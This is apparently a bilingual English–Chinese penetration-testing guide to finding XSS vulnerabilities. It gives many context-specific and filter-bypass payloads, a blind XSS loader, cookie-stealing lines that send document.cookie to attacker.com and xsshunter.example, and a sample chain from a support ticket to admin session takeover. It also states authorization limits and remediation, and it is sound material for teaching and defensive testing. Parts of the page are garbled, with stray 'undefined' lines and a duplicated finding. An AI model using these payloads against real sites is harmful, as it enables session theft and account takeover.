testing-for-xss-vulnerabilities

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

Testing for XSS Vulnerabilities

XSS漏洞测试指南

When to Use

适用场景

Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
Evaluating the effectiveness of input sanitization and output encoding across all application features
Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

作为OWASP WSTG测试的一部分，检测Web应用程序中的客户端注入漏洞
评估所有应用功能中输入清理和输出编码的有效性
评估内容安全策略（CSP）头对XSS攻击的防护能力
向利益相关者演示XSS的影响，包括会话劫持、凭证窃取或钓鱼覆盖等场景
测试单页应用（React、Angular、Vue）在客户端路由和渲染过程中的DOM型XSS漏洞

禁止场景：未经书面授权测试应用程序；部署会影响真实用户的持久型XSS payload；从生产环境窃取实际用户的会话令牌。

Prerequisites

前置条件

Authorized scope defining the target web application and acceptable testing activities
Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
XSS Hunter or Burp Collaborator for out-of-band payload verification
SecLists XSS payload lists and custom payloads for WAF bypass scenarios

明确目标Web应用程序和可接受测试活动的授权范围
安装有XSS相关扩展（XSS Validator、Reflector、Active Scan++）的Burp Suite Professional
配备开发者工具和XSS测试扩展（HackBar、XSS Hunter）的浏览器
用于带外payload验证的XSS Hunter或Burp Collaborator
SecLists XSS payload列表，以及用于绕过WAF的自定义payload

Workflow

测试流程

Step 1: Input and Output Mapping

步骤1：输入与输出映射

Map every location where user input enters and is rendered by the application:

Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
DOM inputs: Identify client-side JavaScript that reads from
```
location.hash
```
,
```
location.search
```
,
```
document.referrer
```
,
```
window.name
```
,
```
postMessage
```
, or
```
localStorage
```
and writes to the DOM
Output context identification: For each reflected input, determine the rendering context:
- HTML body:
```
<div>USER_INPUT</div>
```
- HTML attribute:
```
<input value="USER_INPUT">
```
- JavaScript string:
```
var x = 'USER_INPUT';
```
- URL context:
```
<a href="USER_INPUT">
```
- CSS context:
```
<div style="color: USER_INPUT">
```

梳理应用程序中所有用户输入进入并被渲染的位置：

反射型输入：测试所有会在响应中反射的URL参数、搜索框、错误提示信息和HTTP头字段
存储型输入：识别所有会保存输入并在后续展示的功能：用户资料、评论、论坛帖子、文件名、支持工单和聊天消息
DOM型输入：识别会读取
```
location.hash
```
、
```
location.search
```
、
```
document.referrer
```
、
```
window.name
```
、
```
postMessage
```
或
```
localStorage
```
并写入DOM的客户端JavaScript代码
输出上下文识别：针对每个反射型输入，确定其渲染上下文：
- HTML主体：
```
<div>USER_INPUT</div>
```
- HTML属性：
```
<input value="USER_INPUT">
```
- JavaScript字符串：
```
var x = 'USER_INPUT';
```
- URL上下文：
```
<a href="USER_INPUT">
```
- CSS上下文：
```
<div style="color: USER_INPUT">
```

Step 2: Reflected XSS Testing

步骤2：反射型XSS测试

Test reflected injection points with context-appropriate payloads:

HTML body context:

<script>alert(document.domain)</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

HTML attribute context:

" onfocus=alert(1) autofocus="

" onmouseover=alert(1) "

"><script>alert(1)</script>

JavaScript string context:

';alert(1)//

\';alert(1)//

</script><script>alert(1)</script>

URL/href context:

javascript:alert(1)

data:text/html,<script>alert(1)</script>

Inside HTML comments:
```
--><script>alert(1)</script><!--
```

Filter bypass payloads (when basic payloads are blocked):

Case variation:
```
<ScRiPt>alert(1)</sCrIpT>
```
Event handlers:
```
<details open ontoggle=alert(1)>
```

SVG:

<svg><animate onbegin=alert(1) attributeName=x>

Encoding:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

针对不同上下文使用适配的payload测试反射型注入点：

HTML主体上下文：

<script>alert(document.domain)</script>

、

<img src=x onerror=alert(1)>

、

<svg onload=alert(1)>

HTML属性上下文：

" onfocus=alert(1) autofocus="

、

" onmouseover=alert(1) "

、

"><script>alert(1)</script>

JavaScript字符串上下文：

';alert(1)//

、

\';alert(1)//

、

</script><script>alert(1)</script>

URL/href上下文：

javascript:alert(1)

、

data:text/html,<script>alert(1)</script>

HTML注释内：
```
--><script>alert(1)</script><!--
```

绕过过滤的payload（基础payload被拦截时使用）：

大小写变种：
```
<ScRiPt>alert(1)</sCrIpT>
```
事件处理器：
```
<details open ontoggle=alert(1)>
```

SVG标签：

<svg><animate onbegin=alert(1) attributeName=x>

编码绕过：

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Step 3: Stored XSS Testing

步骤3：存储型XSS测试

Test persistent storage points that render input to other users:

Submit XSS payloads to every stored input field identified in Step 1
Use a unique identifier in each payload to track which inputs trigger:
```
<script>alert('XSS-PROFILE-001')</script>
```
Check all locations where the stored input is rendered (the same input may appear on multiple pages)
Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
Use XSS Hunter payloads (
```
"><script src=https://yourxsshunter.xss.ht></script>
```
) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

测试会向其他用户渲染输入的持久化存储点：

向步骤1中识别的所有存储型输入字段提交XSS payload
在每个payload中加入唯一标识，追踪触发的输入点：
```
<script>alert('XSS-PROFILE-001')</script>
```
检查所有存储输入会被渲染的位置（同一输入可能出现在多个页面）
测试文件上传功能：提交包含JavaScript的HTML文件、嵌入脚本的SVG文件，以及带有XSS payload的文件名
测试富文本编辑器：通过原始HTML模式注入payload，或在客户端编辑器清理后修改POST数据注入
针对无法直接访问的后台管理面板或内部工具中的盲型存储XSS，使用XSS Hunter payload（
```
"><script src=https://yourxsshunter.xss.ht></script>
```
）

Step 4: DOM-Based XSS Testing

步骤4：DOM型XSS测试

Analyze client-side JavaScript for unsafe DOM manipulation:

Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
- ```
document.location
```
  ,
```
document.URL
```
  ,
```
document.referrer
```
- ```
location.hash
```
  ,
```
location.search
```
  ,
```
location.href
```
- ```
window.name
```
  ,
```
postMessage
```
  event data

Sink identification: Search for dangerous sinks that write to the DOM:

innerHTML

outerHTML

document.write()

document.writeln()

eval()

setTimeout()

setInterval()

Function()

element.setAttribute()

with event handlers,

jQuery.html()

.append()

v-html

(Vue),

dangerouslySetInnerHTML

(React)

Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
Framework-specific testing: Test React
```
dangerouslySetInnerHTML
```
, Angular template injection (
```
{{constructor.constructor('alert(1)')()}}
```
), Vue
```
v-html
```
directive

分析客户端JavaScript中的不安全DOM操作：

识别数据源：在JavaScript中搜索读取攻击者可控输入的危险数据源：
- ```
document.location
```
  、
```
document.URL
```
  、
```
document.referrer
```
- ```
location.hash
```
  、
```
location.search
```
  、
```
location.href
```
- ```
window.name
```
  、
```
postMessage
```
  事件数据

识别接收点（Sink）：搜索会写入DOM的危险接收点：

innerHTML

、

outerHTML

、

document.write()

、

document.writeln()

eval()

、

setTimeout()

、

setInterval()

、

Function()

带有事件处理器的

element.setAttribute()

、

jQuery.html()

、

.append()

、Vue的

v-html

、React的

dangerouslySetInnerHTML

追踪数据流：跟进从数据源到接收点的路径。如果用户可控输入未经过适当清理就到达危险接收点，则存在DOM型XSS漏洞。
框架特定测试：测试React的
```
dangerouslySetInnerHTML
```
、Angular模板注入（
```
{{constructor.constructor('alert(1)')()}}
```
）、Vue的
```
v-html
```
指令

Step 5: CSP Bypass and Advanced Exploitation

步骤5：CSP绕过与高级利用

Test Content Security Policy effectiveness and demonstrate real-world impact:

CSP analysis: Review the CSP header for weaknesses:
- ```
unsafe-inline
```
  in script-src allows inline scripts
- ```
unsafe-eval
```
  allows eval() and similar functions
- Wildcard domains (
```
*.googleapis.com
```
  ) may host JSONP endpoints usable for CSP bypass
- ```
base-uri
```
  not set allows
```
<base>
```
  tag injection to redirect relative script loads

JSONP bypass: If CSP allows a domain with JSONP endpoints, use

<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>

Impact demonstration:
- Session hijacking:
```
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
```
- Credential phishing: Inject a fake login form overlay that submits to the attacker's server
- Keylogging: Inject JavaScript that captures keystrokes on the page
- Account takeover: Use XSS to change the victim's email address and trigger a password reset

测试内容安全策略（CSP）的有效性，并演示真实攻击影响：

CSP分析：检查CSP头中的薄弱点：
- ```
script-src
```
  中包含
```
unsafe-inline
```
  允许内联脚本
- ```
unsafe-eval
```
  允许使用
```
eval()
```
  及类似函数
- 通配符域名（
```
*.googleapis.com
```
  ）可能存在可用于绕过CSP的JSONP端点
- 未设置
```
base-uri
```
  允许注入
```
<base>
```
  标签重定向相对脚本加载路径

JSONP绕过：如果CSP允许某个包含JSONP端点的域名，使用

<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>

影响演示：
- 会话劫持：
```
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
```
- 凭证钓鱼：注入伪造的登录表单覆盖层，将数据提交到攻击者服务器
- 键盘记录：注入捕获页面按键的JavaScript代码
- 账号接管：利用XSS修改受害者邮箱地址并触发密码重置

Key Concepts

核心概念

Term	Definition
Reflected XSS	Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL
Stored XSS	Persistent XSS where the payload is saved on the server and served to other users who view the affected page
DOM-Based XSS	XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink
Content Security Policy	HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS
Output Encoding	Converting special characters to their HTML entity equivalents (e.g., `<` to `<` ) to prevent the browser from interpreting user input as code
Sink	A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized

术语	定义
反射型XSS	非持久型XSS，注入的payload会包含在服务器对同一请求的响应中，需要受害者点击精心构造的URL才能触发
存储型XSS	持久型XSS，payload会被服务器保存，当其他用户访问受影响页面时会触发
DOM型XSS	完全发生在浏览器端的XSS，当客户端JavaScript读取攻击者可控数据并写入危险DOM接收点时触发
内容安全策略（CSP）	HTTP响应头，限制浏览器可加载的脚本、样式及其他资源的来源，为XSS防护提供纵深防御
输出编码	将特殊字符转换为对应的HTML实体（如 `<` 转为 `<` ），防止浏览器将用户输入解释为代码
接收点（Sink）	如果攻击者可控数据未经过清理就到达此处，可能导致代码执行或HTML渲染的JavaScript函数或DOM属性

Tools & Systems

工具与系统

Burp Suite Professional: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
XSS Hunter: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
DOMPurify: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
Browser Developer Tools: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time

Burp Suite Professional：HTTP代理工具，支持反射型和存储型XSS的主动扫描，以及Repeater和Intruder用于手动payload测试
XSS Hunter：托管服务，生成的payload触发时会向攻击者回传截图、Cookie和DOM内容，是测试盲型存储XSS的必备工具
DOMPurify：开发者用于防止XSS的客户端清理库，测试人员需针对部署版本测试绕过技术
浏览器开发者工具：控制台、网络和元素面板，用于追踪DOM型XSS数据流并实时测试payload

Common Scenarios

常见场景

Scenario: Stored XSS in Customer Support Ticket System

场景：客户支持工单系统中的存储型XSS

Context: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.

Approach:

Submit a support ticket with a unique XSS Hunter payload in the ticket description
The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot
Use the captured admin session cookie to access the admin panel as the support agent
From the admin panel, access customer records, order data, and refund functionality
Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised
Test if CSP would have prevented the attack (in this case, no CSP header was present)

Pitfalls:

Only testing for
```
<script>alert(1)</script>
```
and missing XSS that fires through event handlers or in non-HTML contexts
Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards

背景：某电商平台的客户支持系统允许客户提交工单，支持人员会在内部管理面板查看这些工单。工单提交表单支持HTML格式。

测试方法：

在工单描述中提交带有唯一标识的XSS Hunter payload
当支持人员在管理面板查看工单时，payload触发，向攻击者回传支持人员的会话Cookie、页面DOM和截图
使用捕获的管理员会话Cookie登录管理面板，模拟支持人员身份
从管理面板访问客户记录、订单数据和退款功能
记录攻击链：客户提交工单 -> 支持人员查看工单 -> XSS触发 -> 会话被盗 -> 管理面板沦陷
测试CSP是否能阻止该攻击（本场景中未配置CSP头）

常见误区：

仅测试
```
<script>alert(1)</script>
```
，忽略通过事件处理器或非HTML上下文触发的XSS
未测试会向管理员展示的功能中的存储型XSS（如支持工单、管理员查看的用户资料）
忽略单页应用中的DOM型XSS，这类应用的服务端代码安全但客户端渲染存在漏洞
未检查HTTP头（Referer、User-Agent）中的XSS，这些字段可能被日志记录并在管理面板中渲染

Output Format

输出格式

undefined

undefined

Finding: Stored XSS in Support Ticket Description

ID: XSS-002 Severity: High (CVSS 8.1) Affected URL: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger) Parameter: description (POST body) XSS Type: Stored (persistent)

Description: The support ticket description field does not sanitize HTML input before storing it in the database. When a support agent views the ticket in the admin panel, the unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript execution in the context of the admin application.

Proof of Concept: Submitted ticket with payload: <img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

The payload fired when the agent viewed the ticket, exfiltrating the admin session cookie to the XSS Hunter server.

Impact: An attacker can steal the session tokens of support agents and administrators, gaining access to the admin panel with privileges to view customer PII, process refunds, and modify orders. Affects all 23 support agents who view customer tickets.

Remediation:

Implement output encoding using a context-aware library (OWASP Java Encoder, DOMPurify for client-side rendering)
Deploy Content Security Policy header: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Set HttpOnly flag on session cookies to prevent JavaScript access
Sanitize HTML input server-side using a whitelist approach (allow only safe tags)

undefined

ID: XSS-002 Severity: High (CVSS 8.1) Affected URL: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger) Parameter: description (POST body) XSS Type: Stored (persistent)

Proof of Concept: Submitted ticket with payload: <img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

The payload fired when the agent viewed the ticket, exfiltrating the admin session cookie to the XSS Hunter server.

Remediation:

Implement output encoding using a context-aware library (OWASP Java Encoder, DOMPurify for client-side rendering)
Deploy Content Security Policy header: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Set HttpOnly flag on session cookies to prevent JavaScript access
Sanitize HTML input server-side using a whitelist approach (allow only safe tags)

undefined